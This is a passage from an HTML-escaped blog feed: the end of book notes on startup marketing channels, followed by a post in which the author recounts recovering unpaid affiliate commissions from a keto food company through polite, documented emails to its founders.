&lt;li>Focusing on marketing brings you a stream of fresh customers experiencing your product for the first time.&lt;/li>
&lt;/ul>
&lt;h3 id="the-leaky-bucket">The leaky bucket&lt;/h3>
&lt;ul>
&lt;li>Early in your product&amp;rsquo;s life, investing in marketing is like pouring water into a leaky bucket.
&lt;ul>
&lt;li>You expose your product to customers, but most leave because your offering isn&amp;rsquo;t complete yet.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Most founders postpone marketing efforts because they see it as wasteful to market before their product is polished.&lt;/li>
&lt;li>Marketing is helpful even when most customers choose not to buy.
&lt;ul>
&lt;li>In these cases, marketing exposes which gaps in your product are the ones that matter to customers.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>In the leaky bucket analogy, your bucket is still leaking, but marketing shows you where the leaks are.&lt;/li>
&lt;/ul>
&lt;h3 id="moving-the-needle">Moving the needle&lt;/h3>
&lt;ul>
&lt;li>You need to pick marketing channels and strategies that will make a difference to your business if they succeed.
&lt;ul>
&lt;li>e.g., a tweet that drives 20 visitors to your website is meaningful if you&amp;rsquo;re brand new, but if you&amp;rsquo;re already getting 10k visitors per day, that tweet is negligible.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>As you grow, you need to find new strategies that are appropriate for your scale.&lt;/li>
&lt;/ul>
&lt;h3 id="the-bullseye-method">The Bullseye Method&lt;/h3>
&lt;ul>
&lt;li>Bullseye is a three-phase technique to discover your product&amp;rsquo;s ideal distribution channel.&lt;/li>
&lt;li>A business needs only one strong distribution channel to succeed, but most businesses don&amp;rsquo;t experiment enough to discover their ideal channel.&lt;/li>
&lt;/ul>
&lt;h4 id="step-1-the-outer-ring---whats-possible">Step 1: The Outer Ring - What&amp;rsquo;s possible?&lt;/h4>
&lt;ul>
&lt;li>For each traction channel, brainstorm at least one strategy for your business that could move the needle.&lt;/li>
&lt;li>Research successful companies similar to yours and learn what strategies they applied.&lt;/li>
&lt;/ul>
&lt;h4 id="step-2-the-middle-ring---whats-probable">Step 2: The Middle Ring - What&amp;rsquo;s probable?&lt;/h4>
&lt;ul>
&lt;li>Test a handful of marketing channels at small scales.&lt;/li>
&lt;li>It&amp;rsquo;s better to test multiple channels in parallel, as marketing tests take time and parallelize well.&lt;/li>
&lt;li>In each test, evaluate:
&lt;ol>
&lt;li>How costly is customer acquisition?&lt;/li>
&lt;li>How many customers are available through this channel?&lt;/li>
&lt;li>Are these the customers you want?&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ul>
&lt;h4 id="step-3-the-inner-ring---whats-working">Step 3: The Inner Ring - What&amp;rsquo;s working?&lt;/h4>
&lt;ul>
&lt;li>Take your most successful channel from step 2 and focus all your energy on optimizing this channel.&lt;/li>
&lt;/ul>
&lt;h3 id="the-law-of-shitty-click-throughs">&lt;a href="https://andrewchen.co/the-law-of-shitty-clickthroughs/">The Law of Shitty Click-Throughs&lt;/a>&lt;/h3>
&lt;blockquote>
&lt;p>Over time, all marketing channels result in shitty click-through rates.&lt;/p>
&lt;p>-Andrew Chen&lt;/p>&lt;/blockquote>
&lt;ul>
&lt;li>New, effective marketing strategies degrade as other people discover them and start doing the same thing.&lt;/li>
&lt;li>To combat this, continually experiment with new marketing strategies to find effective techniques that your competitors have not yet saturated.&lt;/li>
&lt;/ul>
&lt;h3 id="overcoming-marketing-biases">Overcoming marketing biases&lt;/h3>
&lt;ul>
&lt;li>Founders often neglect marketing channels because they&amp;rsquo;re uncomfortable (e.g., public speaking) or unfamiliar (e.g., trade shows).
&lt;ul>
&lt;li>This is a reason to pursue those channels because it makes it more likely that your competitors aren&amp;rsquo;t using them either.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="marketing-channels">Marketing channels&lt;/h3>
&lt;div class="notice notice-info">
 The book includes a few pages of strategies for each of these channels, but I didn&amp;rsquo;t have any useful takeaways from any of those chapters. I think the list of channels is useful as a brainstorming exercise, and you can search online for better guides for approaching any particular channel.
&lt;/div>

&lt;ul>
&lt;li>Blogs
&lt;ul>
&lt;li>Reach out to niche blogs that match your audience and offer them a direct affiliate deal or paid display ad.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Publicity
&lt;ul>
&lt;li>&lt;del>Use Help a Reporter Out (HARO) to connect with reporters interested in your market.&lt;/del>
&lt;ul>
&lt;li>&lt;strong>Update (2025-04-08)&lt;/strong>: This service no longer seems to exist.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Pitch your product to small bloggers, as larger blogs often source from smaller niche blogs.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Unconventional PR (PR stunts)&lt;/li>
&lt;li>Search engine marketing&lt;/li>
&lt;li>Search engine optimization&lt;/li>
&lt;li>Social and display ads&lt;/li>
&lt;li>Offline ads
&lt;ul>
&lt;li>Billboards&lt;/li>
&lt;li>Magazines&lt;/li>
&lt;li>Radio and TV&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Content marketing&lt;/li>
&lt;li>Email marketing&lt;/li>
&lt;li>Viral marketing&lt;/li>
&lt;li>Engineering as marketing
&lt;ul>
&lt;li>Offer a free product to attract users who might be interested in your paid product.
&lt;ul>
&lt;li>e.g., if your product helps people optimize their website&amp;rsquo;s SEO performance, offer a free website checker.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Business development
&lt;ul>
&lt;li>i.e., forming partnerships with related companies&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Sales&lt;/li>
&lt;li>Affiliate programs&lt;/li>
&lt;li>Existing platforms
&lt;ul>
&lt;li>i.e., platforms with an existing audience where users can find you&lt;/li>
&lt;li>e.g., eBay, App Store&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Trade shows&lt;/li>
&lt;li>Offline events
&lt;ul>
&lt;li>Meetups, conferences&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Speaking engagements&lt;/li>
&lt;li>Community building
&lt;ul>
&lt;li>i.e., fostering a passionate user community&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>How I Collected a Debt from an Unscrupulous Merchant</title><link>https://mtlynch.io/collect-debt/</link><pubDate>Thu, 13 Aug 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/collect-debt/</guid><description>&lt;p>A few years ago, I learned a handy technique for resolving disputes with uncooperative businesses. It&amp;rsquo;s simple to understand and easy to implement. You don&amp;rsquo;t need lawyers or a prominent social media presence. All it requires is for you to behave like an organized professional. This technique recently resolved a problem so effectively that I had to share the story.&lt;/p>
&lt;p>The conversation began with a merchant telling me in no uncertain terms that they refused to pay the money they owed me:&lt;/p></description><content:encoded>&lt;p>A few years ago, I learned a handy technique for resolving disputes with uncooperative businesses. It&amp;rsquo;s simple to understand and easy to implement. You don&amp;rsquo;t need lawyers or a prominent social media presence. All it requires is for you to behave like an organized professional. This technique recently resolved a problem so effectively that I had to share the story.&lt;/p>
&lt;p>The conversation began with a merchant telling me in no uncertain terms that they refused to pay the money they owed me:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 684px">



 &lt;a href="https://mtlynch.io/collect-debt/not-paying.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 684px, 98vw"
 srcset='https://mtlynch.io/collect-debt/not-paying_hu_782adba7258bedd1.png 300w, https://mtlynch.io/collect-debt/not-paying_hu_450d511dcddf78da.png 600w, https://mtlynch.io/collect-debt/not-paying.png 682w'
 src="https://mtlynch.io/collect-debt/not-paying.png" alt="Kimchi host utilization dashboard" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Two email exchanges later, we landed here:&lt;/p>
&lt;p>












 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 665px">



 &lt;a href="https://mtlynch.io/collect-debt/seems-fair.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 665px, 98vw"
 srcset='https://mtlynch.io/collect-debt/seems-fair_hu_561254fcd2675a3.png 300w, https://mtlynch.io/collect-debt/seems-fair_hu_38a8cacff33692f2.png 600w, https://mtlynch.io/collect-debt/seems-fair.png 663w'
 src="https://mtlynch.io/collect-debt/seems-fair.png" alt="Herscu responds: &amp;#39;No worries Michael. $88 seems fair to me.&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/collect-debt/paypal-receipt.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/collect-debt/paypal-receipt_hu_4b377d13545f639d.png 300w, https://mtlynch.io/collect-debt/paypal-receipt_hu_de208436eb2255bb.png 600w, https://mtlynch.io/collect-debt/paypal-receipt.png 693w'
 src="https://mtlynch.io/collect-debt/paypal-receipt.png" alt="PayPal receipt showing $88.00 payment" loading="lazy"/>
 &lt;/a>



&lt;/div>

&lt;/p>
&lt;p>This post explains the dispute and how The Organized Professional Method solved my problem.&lt;/p>
&lt;h2 id="handling-bad-behavior-with-the-organized-professional-method">Handling bad behavior with The Organized Professional Method&lt;/h2>
&lt;p>In 2017, Patrick McKenzie wrote a blog post called &lt;a href="https://www.kalzumeus.com/2017/09/09/identity-theft-credit-reports/">&amp;ldquo;Identity Theft, Credit Reports, and You.&amp;rdquo;&lt;/a> It&amp;rsquo;s ostensibly about disputing information on your credit report, but the article is more generalizable than Patrick perhaps intended. It was an illuminating read for me in demonstrating how much power you can wield by thinking strategically about an organization&amp;rsquo;s incentives.&lt;/p>
&lt;p>In Patrick&amp;rsquo;s article, he explains that banks reward their customer service agents for getting customers off the phone as quickly as possible. They reward their compliance team for minimizing the bank&amp;rsquo;s number of regulatory incidents per year. Therefore, Patrick taught his readers how to navigate from a bank&amp;rsquo;s customer service department to their legal department. From there, the customer presents themselves as knowledgeable enough of their rights that the compliance team should rightly fear a regulatory incident.&lt;/p>
&lt;p>This strategy applies to businesses more generally. If a company mistreats you, usually someone at the organization has the power to correct it. The potential problem solver follows self-serving incentives, as anyone does. If you can identify those incentives and demonstrate an ability to affect them, then the person is likely to take your problem seriously.&lt;/p>
&lt;p>The biggest takeaway for me was Patrick&amp;rsquo;s recommendations on the tone to maintain throughout the dispute:&lt;/p>
&lt;blockquote>
&lt;p>&amp;hellip;you want to communicate with the bank in a manner which suggests that you&amp;rsquo;re an organized professional who is capable of escalating the matter if the bank does not handle it themselves. You do not yell [&amp;hellip;] You do not bluster [&amp;hellip;] You instead present as if you&amp;rsquo;re collecting a paper trail.&lt;/p>&lt;/blockquote>
&lt;p>Patrick&amp;rsquo;s recommendation resonated with me because I generally don&amp;rsquo;t see value in yelling at people, but I also don&amp;rsquo;t want to take shady business practices lying down.&lt;/p>
&lt;h2 id="the-dispute-i-needed-to-resolve">The dispute I needed to resolve&lt;/h2>
&lt;p>For the past two years, I&amp;rsquo;ve run a site called &lt;a href="https://isitketo.org">Is It Keto&lt;/a> that helps beginners navigate the keto diet.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/collect-debt/isitketo-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/collect-debt/isitketo-screenshot_hu_6179756eb4467c77.png 300w, https://mtlynch.io/collect-debt/isitketo-screenshot_hu_1645a217bcd36a4c.png 600w, https://mtlynch.io/collect-debt/isitketo-screenshot_hu_37d56caa64283661.png 800w, https://mtlynch.io/collect-debt/isitketo-screenshot_hu_57a0b70cdc6a0c07.png 1200w, https://mtlynch.io/collect-debt/isitketo-screenshot.png 1319w'
 src="https://mtlynch.io/collect-debt/isitketo-screenshot.png" alt="Screenshot of Beyond Burger page on Is It Keto" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> is a site I created in 2018 to help beginners learn about the keto diet.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The site has grown steadily over time, to the point where it now has over 100,000 pageviews per month. Those numbers are high enough to attract direct partnerships with other keto companies.&lt;/p>
&lt;p>In June, I joined the affiliate program for a company called Kiss My Keto. They sell keto-friendly bread and a few other keto foods. The affiliate deal meant that I&amp;rsquo;d advertise their products on Is It Keto. If any Is It Keto readers clicked a Kiss My Keto link and made a purchase, Kiss My Keto would give me a 20% commission.&lt;/p>
&lt;p>Kiss My Keto&amp;rsquo;s affiliate program sounded like a good deal, but I would later come to realize it was not what it seemed.&lt;/p>
&lt;h2 id="do-my-customers-just-hate-spending-money">Do my customers just hate spending money?&lt;/h2>
&lt;p>Eager to see my earnings skyrocket, I checked my affiliate stats the day after I began advertising Kiss My Keto. Seven visitors had clicked links to Kiss My Keto, but I still had zero &amp;ldquo;conversions,&amp;rdquo; meaning that none of the visitors I referred had purchased anything. Okay, fine. Maybe prices were higher than they expected, or none of those seven felt like buying anything that day.&lt;/p>
&lt;p>After a week, it was the same thing. 26 users had visited, but none of them purchased anything.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 691px">



 &lt;a href="https://mtlynch.io/collect-debt/zero-sales.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 691px, 98vw"
 srcset='https://mtlynch.io/collect-debt/zero-sales_hu_2cd7f2e07b90b264.png 300w, https://mtlynch.io/collect-debt/zero-sales_hu_c5aed15e93e4b369.png 600w, https://mtlynch.io/collect-debt/zero-sales.png 689w'
 src="https://mtlynch.io/collect-debt/zero-sales.png" alt="Affiliate stats showing 95 referrals and zero sales" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Kiss My Keto&amp;rsquo;s stats claimed that I had sent them 95 visitors, all of whom supposedly left without making a purchase.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>By the one month mark, I became suspicious. 95 readers from Is It Keto had visited Kiss My Keto, and the affiliate stats still claimed I had earned zero commissions.&lt;/p>
&lt;p>For context, I had a similar affiliate deal with Amazon, and 17% of Is It Keto readers made a purchase after clicking an Amazon link in the same period.&lt;/p>
&lt;h2 id="a-20-commission-but-only-when-we-feel-like-it">A 20% commission, but only when we feel like it&lt;/h2>
&lt;p>Baffled by these stats, I reached out to Nini Perez, Kiss My Keto&amp;rsquo;s affiliate manager.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: I&amp;rsquo;ve edited these emails for brevity, but the &lt;a href="full-emails/">unabridged email thread&lt;/a> is available for anyone who wants to see the full discussion.
&lt;/div>

&lt;p>At first, she told me that maybe my customers just click the links out of curiosity:&lt;/p>
&lt;blockquote>
&lt;p>It does happen. Sometimes, customers are curious and go to the site but leave without purchasing.&lt;/p>&lt;/blockquote>
&lt;p>She also said something confusing:&lt;/p>
&lt;blockquote>
&lt;p>Other times, they try to purchase an item not qualified for a discount (subscribe &amp;amp; save, bundles or bread).&lt;/p>&lt;/blockquote>
&lt;p>Not qualified for a discount? Why should that matter?&lt;/p>
&lt;p>After a few back and forths, I finally got a straight answer that explained my missing commissions:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 722px">



 &lt;a href="https://mtlynch.io/collect-debt/exceptions.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 722px, 98vw"
 srcset='https://mtlynch.io/collect-debt/exceptions_hu_5c4cfffdd869e0a6.png 300w, https://mtlynch.io/collect-debt/exceptions_hu_b18c5d5211c01f25.png 600w, https://mtlynch.io/collect-debt/exceptions.png 720w'
 src="https://mtlynch.io/collect-debt/exceptions.png" alt="Nini reports that Kiss My Keto pays no commission on sales of bread or during sitewide discounts" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Kiss My Keto&amp;rsquo;s affiliate manager reveals that they exclude certain purchases from commissions.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This was a shocking revelation for a few reasons.&lt;/p>
&lt;p>First, Kiss My Keto&amp;rsquo;s published policies say explicitly that their commissions apply to &lt;strong>all&lt;/strong> products and make no mention of exceptions. Or at least they did at the time. They removed that page sometime in the last month, but I &lt;a href="https://archive.is/iyoxj">archived a copy&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/collect-debt/20pct-on-all.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/collect-debt/20pct-on-all_hu_861269dc54995f99.png 300w, https://mtlynch.io/collect-debt/20pct-on-all_hu_13ae5ac44fd8c57e.png 600w, https://mtlynch.io/collect-debt/20pct-on-all_hu_f58363411baf3f2.png 800w, https://mtlynch.io/collect-debt/20pct-on-all.png 1036w'
 src="https://mtlynch.io/collect-debt/20pct-on-all.png" alt="Kiss My Keto&amp;#39;s published guidelines say they pay 20% commission on all products" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Kiss My Keto&amp;rsquo;s published rates claimed a 20% commission on all products with no mention of exceptions.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Secondly, bread is Kiss My Keto&amp;rsquo;s flagship product. If you visit their website, they showcase bread so prominently that you&amp;rsquo;d think they&amp;rsquo;re a bread store. A hidden exception for bread would be like if &lt;a href="https://www.zappos.com">Zappos&lt;/a> advertised a commission on all their products and then later said, &amp;ldquo;Oh, but we didn&amp;rsquo;t mean &lt;em>shoes&lt;/em>.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/collect-debt/kmk-homepage.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/collect-debt/kmk-homepage_hu_82eecec56a7db3ce.png 300w, https://mtlynch.io/collect-debt/kmk-homepage_hu_18b8a27570d36671.png 600w, https://mtlynch.io/collect-debt/kmk-homepage_hu_f19aef25d3726f0d.png 800w, https://mtlynch.io/collect-debt/kmk-homepage_hu_2470a1efa58b77ba.png 1200w, https://mtlynch.io/collect-debt/kmk-homepage.png 1423w'
 src="https://mtlynch.io/collect-debt/kmk-homepage.png" alt="Nini reports that Kiss My Keto pays no commission on sales of bread or during sitewide discounts" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Kiss My Keto&amp;rsquo;s homepage features bread prominently.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>And that&amp;rsquo;s not even getting into the &amp;ldquo;sale event&amp;rdquo; part of Nini&amp;rsquo;s email. Days earlier, Kiss My Keto sent their affiliates an email encouraging them to &amp;ldquo;boost [their] earnings&amp;rdquo; by sharing Kiss My Keto&amp;rsquo;s sitewide 4th of July discount codes.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/collect-debt/4th-of-july-codes.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/collect-debt/4th-of-july-codes_hu_dfe9c6e8e2f48c3f.png 300w, https://mtlynch.io/collect-debt/4th-of-july-codes_hu_55c1fdbea24d54ed.png 600w, https://mtlynch.io/collect-debt/4th-of-july-codes.png 639w'
 src="https://mtlynch.io/collect-debt/4th-of-july-codes.png" alt="Kiss My Keto encourages affiliates to share sitewide discount codes" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Kiss My Keto encouraged affiliates to share coupon codes but later told me that this disqualified them from earning commissions&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>According to Nini, Kiss My Keto withheld commissions on any transaction that used that coupon, even if the customer purchased through an affiliate link. Even outside of special sales, when you visit Kiss My Keto, their site bombards you with offers for different discounts:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/collect-debt/kmk-discount-offers.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/collect-debt/kmk-discount-offers_hu_6dad769c71f05e76.png 300w, https://mtlynch.io/collect-debt/kmk-discount-offers_hu_c70cc04a81b1b0f.png 600w, https://mtlynch.io/collect-debt/kmk-discount-offers_hu_f08e76701cbe0ab.png 800w, https://mtlynch.io/collect-debt/kmk-discount-offers_hu_a88ea76e6d8ab01a.png 1200w, https://mtlynch.io/collect-debt/kmk-discount-offers.png 1440w'
 src="https://mtlynch.io/collect-debt/kmk-discount-offers.png" alt="Screenshot of two separate discount offers on Kiss My Keto&amp;#39;s homepage" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Within seconds of visiting the site, Kiss My Keto offers new discounts to compete with their own affiliate partners.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Based on what Nini said, these special offers compete against the affiliate&amp;rsquo;s referral credit. If the customer chooses a new discount, Kiss My Keto pays zilch to the affiliate who brought the customer to the site in the first place.&lt;/p>
&lt;h2 id="confronting-the-ceo">Confronting the CEO&lt;/h2>
&lt;p>To me, the discrepancy between Kiss My Keto&amp;rsquo;s published rates and their actual payouts seemed misleading and maybe even constituted fraud. Nini offered to compensate me instead with Kiss My Keto products, &amp;ldquo;so [I] can create a new article and let&amp;rsquo;s see how it goes.&amp;rdquo; But that was clearly not our agreement. It was time to employ The Organized Professional Method.&lt;/p>
&lt;p>I sent the following email to Alex Bird, Kiss My Keto&amp;rsquo;s CEO and co-founder:&lt;/p>
&lt;blockquote>
&lt;p>Nini has been professional and courteous in working with me, but she is currently describing a Kiss My Keto policy that is unacceptable, so I&amp;rsquo;m reaching out to you to address it.&lt;/p>
&lt;p>According to Refersion stats, I&amp;rsquo;ve driven 120 visitors to Kiss My Keto through my referral links. I was surprised to see that after this many visitors, I had not been credited with any conversions.&lt;/p>
&lt;p>When I asked Nini about this, she said that Kiss My Keto withholds payments based on exceptions that are not part of the published ambassador agreement. Specifically, Nini reported to me the following unpublished exceptions:&lt;/p>
&lt;ul>
&lt;li>Purchases of bundles, subscriptions, and bread products do not qualify for commission&lt;/li>
&lt;li>Purchases where the customer applies a sitewide discount do not qualify for commission&lt;/li>
&lt;/ul>
&lt;p>The Kiss My Keto ambassador page states that the affiliate program &lt;a href="20pct-on-all.png">pays 20% on sales of all Kiss My Keto products&lt;/a>.&lt;/p>
&lt;p>These exceptions also directly contradict messaging from Kiss My Keto. [&amp;hellip;] On July 2nd, &lt;a href="4th-of-july-codes.png">Alec Mwali sent out an email&lt;/a> encouraging ambassadors to &amp;ldquo;boost [our] earnings&amp;rdquo; by sharing Kiss My Keto&amp;rsquo;s 4th of July discount codes.&lt;/p>
&lt;p>Kiss My Keto owes Is It Keto the agreed upon 20% of all customer orders to your site that originated from Is It Keto&amp;rsquo;s referral link. This money is due to Is It Keto regardless of the product the customer purchased or the discount code that they applied, as the published agreement states a commission of 20% with no exceptions.&lt;/p>&lt;/blockquote>
&lt;p>I&amp;rsquo;m doing a few things in the email to adhere to The Organized Professional Method:&lt;/p>
&lt;ul>
&lt;li>I make no threats, nor do I express anger.
&lt;ul>
&lt;li>The most heated thing I say is that the policy is &amp;ldquo;unacceptable.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The email lays out facts that are objective and provably true.&lt;/li>
&lt;li>I&amp;rsquo;m firm but polite in what I want.&lt;/li>
&lt;li>Wherever possible, I used our businesses&amp;rsquo; names instead of saying &amp;ldquo;you&amp;rdquo; or &amp;ldquo;me.&amp;rdquo;
&lt;ul>
&lt;li>This was a cold, emotionless business issue, not a request to validate my feelings.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>After two weeks, Alex still hadn&amp;rsquo;t responded, so I sent him this follow-up:&lt;/p>
&lt;blockquote>
&lt;p>I have not received a response from you in response to my email dated July 17th, 2020 regarding Kiss My Keto&amp;rsquo;s failure to pay me its advertised commissions.&lt;/p>
&lt;p>If I do not receive a response by Friday, August 7th, 2020, I will assume that Kiss My Keto is not willing to honor the ambassador agreement, and I will seek other means to recover the money owed.&lt;/p>&lt;/blockquote>
&lt;p>Things to notice:&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;m mentioning specific dates, which hints at building a paper trail.&lt;/li>
&lt;li>The one-week deadline discourages Alex from deferring his response indefinitely.&lt;/li>
&lt;li>I &lt;em>hint&lt;/em> at legal action but don&amp;rsquo;t explicitly threaten it.
&lt;ul>
&lt;li>If they failed to pay, my plan was to file a complaint with the &lt;a href="https://www.ftc.gov">Federal Trade Commission&lt;/a> and reach out to other affiliates suggesting they do the same.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="to-put-it-blatantly-we-are-not-paying-you-for-your-conversions">&amp;ldquo;To put it blatantly, we are not paying you for your conversions&amp;rdquo;&lt;/h2>
&lt;p>The next day, I received a response from Michael Herscu, Alex&amp;rsquo;s co-founder:&lt;/p>
&lt;blockquote>
&lt;p>Nini, our ambassador manager tells me we have already paid you for the most recent conversions.&lt;/p>
&lt;p>Now I&amp;rsquo;m being told you feel you are still owed for older campaigns that weren&amp;rsquo;t tracked properly. To put it blatantly, we are not paying you for your conversions.&lt;/p>
&lt;p>Here[sic] the thing Michael&amp;hellip; We can&amp;rsquo;t pull an arbitrary number out of a hat based on a number of conversions that you feel you were owed.&lt;/p>
&lt;p>Nini spoke to Refersion and they told her 0 conversions out of 95 clicks is not impossible so it seems your traffic simply did not convert.&lt;/p>
&lt;p>Is it possible your affiliate link wasn&amp;rsquo;t working? Sure, anything is possible but Refersion assures us it&amp;rsquo;s working so I think it&amp;rsquo;s extremely unlikely this was the case.&lt;/p>
&lt;p>Do you have any proof of conversions that weren&amp;rsquo;t tracked? If you do please share them here with me and we can address them. We will follow up with those customers to get to the bottom of the matter and of course, we will pay you out accordingly.&lt;/p>&lt;/blockquote>
&lt;p>There are a few things that are confusing about Herscu&amp;rsquo;s email that I need to unpack.&lt;/p>
&lt;p>He says, &amp;ldquo;we have already paid you.&amp;rdquo; Unbeknownst to me, Kiss My Keto had spontaneously begun paying me commissions on bread purchases (more on that &lt;a href="#calculating-the-debt">below&lt;/a>). The day before Herscu responded to me, I received a PayPal payment for $26.60 for commissions I earned over the preceding two weeks.&lt;/p>
&lt;p>Herscu also seems to misunderstand the real issue. He was acting as though it was a simple matter of distrusting Kiss My Keto&amp;rsquo;s numbers. Though I was indeed skeptical of their numbers, I didn&amp;rsquo;t want to fight that battle because I had no evidence to prove any of my readers purchased something. What I could prove was that Kiss My Keto&amp;rsquo;s advertised pay structure differed from what their affiliate manager described to me privately.&lt;/p>
&lt;p>I responded a few hours later:&lt;/p>
&lt;blockquote>
&lt;p>The issue is not with Refersion&amp;rsquo;s stats but with Kiss My Keto&amp;rsquo;s policy.&lt;/p>
&lt;p>Kiss My Keto&amp;rsquo;s published Ambassador documentation states that Kiss My Keto pays &amp;ldquo;20% starting commission on sales of all Kiss My Keto products.&amp;rdquo;&lt;/p>
&lt;p>On July 16th, Nini Perez stated in an email to me that there are exceptions to these terms. Specifically, Nini said that Kiss My Keto withholds commissions on sales of bread products or purchases made during a Kiss My Keto sitewide sale.&lt;/p>
&lt;p>Is the information that Nini reported to me accurate? If so, where is that information published? All official documentation I can find says that the payout is 20% on all sales.&lt;/p>&lt;/blockquote>
&lt;p>I intentionally steered the conversation away from stats, as I had no way to prove anything about Kiss My Keto&amp;rsquo;s internal sales numbers, however dubious they might seem. By posing the question of published policies, I forced the conversation to a place where we share access to the same information.&lt;/p>
&lt;h2 id="please-process-this-payment">&amp;ldquo;Please process this payment&amp;rdquo;&lt;/h2>
&lt;p>Herscu responded half an hour later, this time in a less hostile tone:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 683px">



 &lt;a href="https://mtlynch.io/collect-debt/herscu-outcome.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 683px, 98vw"
 srcset='https://mtlynch.io/collect-debt/herscu-outcome_hu_c8feda06315c996.png 300w, https://mtlynch.io/collect-debt/herscu-outcome_hu_8637b4436cddbe5b.png 600w, https://mtlynch.io/collect-debt/herscu-outcome.png 681w'
 src="https://mtlynch.io/collect-debt/herscu-outcome.png" alt="Screenshot of Herscu asking &amp;#39;how do you wish to resolve the matter? What outcome are you hoping for?&amp;#39;" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>That was a good sign. He asked what he can do to make me stop bothering him, so he appeared amenable to a solution.&lt;/p>
&lt;p>I sent this response:&lt;/p>
&lt;blockquote>
&lt;p>I will consider this matter resolved if Kiss My Keto pays Is It Keto full commission based on the published Ambassador agreement.&lt;/p>
&lt;p>Between June 16th and July 16th, Refersion&amp;rsquo;s statistics show that Is It Keto referred 120 visitors to Kiss My Keto and received credit for 0 conversions. I expect Kiss My Keto to pay the full 20% commission on any conversions that were excluded based on Kiss My Keto&amp;rsquo;s unpublished exceptions.&lt;/p>
&lt;p>If it&amp;rsquo;s difficult for Kiss My Keto to review the purchase history in that way, I would accept $88 as a fair estimate of my owed commissions. This number is based on the fact that I&amp;rsquo;ve earned $26.60 on 36 referrals since July 17th, which is $0.73 per referral. Extrapolating that to 120 visitors yields $88.66.&lt;/p>&lt;/blockquote>
&lt;p>He responded a few days later, agreeing to pay me the $88:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 665px">



 &lt;a href="https://mtlynch.io/collect-debt/seems-fair.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 665px, 98vw"
 srcset='https://mtlynch.io/collect-debt/seems-fair_hu_561254fcd2675a3.png 300w, https://mtlynch.io/collect-debt/seems-fair_hu_38a8cacff33692f2.png 600w, https://mtlynch.io/collect-debt/seems-fair.png 663w'
